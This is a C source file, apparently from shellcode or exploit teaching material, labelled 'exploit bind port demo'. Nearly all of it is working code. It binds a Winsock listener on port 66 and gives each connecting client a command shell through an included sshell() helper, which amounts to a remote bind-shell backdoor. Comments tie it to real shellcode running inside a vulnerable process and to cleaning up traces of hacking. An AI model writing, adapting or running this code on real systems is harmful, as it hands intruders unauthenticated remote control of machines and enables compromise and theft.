----------------------------------------------------------------------------*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#include "spawn.pipe.h"            // "Wrapper" around command interpreter
#define MY_PORT            66        // The port that needs to be listened

#define MAX_BUF_SIZE    1024   

DWORD WINAPI SexToClient(void *csocket);

int main()
{
    int a;
    DWORD    thID;
    HOSTENT    *hst;
    SOCKET    lsocket;
    SOCKET    csocket;
    struct    sockaddr_in laddr, caddr;
    char buff[MAX_BUF_SIZE];        // Buffer
    int caddr_size = sizeof(caddr);

    // TITLE
    printf("exploit bind port demo\n");

    // Step 0: initialization of the sockets library.
    // In real shellcode this function should not be called,
    // because the initialization procedure was carried out
    // by vulnerable process
    if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
       
    // Step 1: creating a socket
    lsocket = socket(AF_INET, SOCK_STREAM, 0);
   
    // Step 2: Binding the socket to the local address
    laddr.sin_family         = AF_INET;
    laddr.sin_port            = htons(MY_PORT);
    laddr.sin_addr.s_addr    = INADDR_ANY;
    if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

    // Step 3: Listening the socket
    if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");

    // Step 4: Processing incoming connections
    while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
    {
        // Attempting to obtain the domain name of the connected host
        hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
        sprintf(buff, "+%s [%s] new connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
        send(csocket, buff, strlen(buff), 0);

        // Calling a new thread for servicing the client.
        // Generally, it is recommended to use _beginthreadex for this purpose,
        // however, with some precautions it is possible to do with win32 API
        CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
    }

    // Step 5: Clean the traces of hacking activity
    closesocket(lsocket);
    WSACleanup();
    return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
    sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
    closesocket(((SOCKET*)csocket)[0]);
    return 0;
}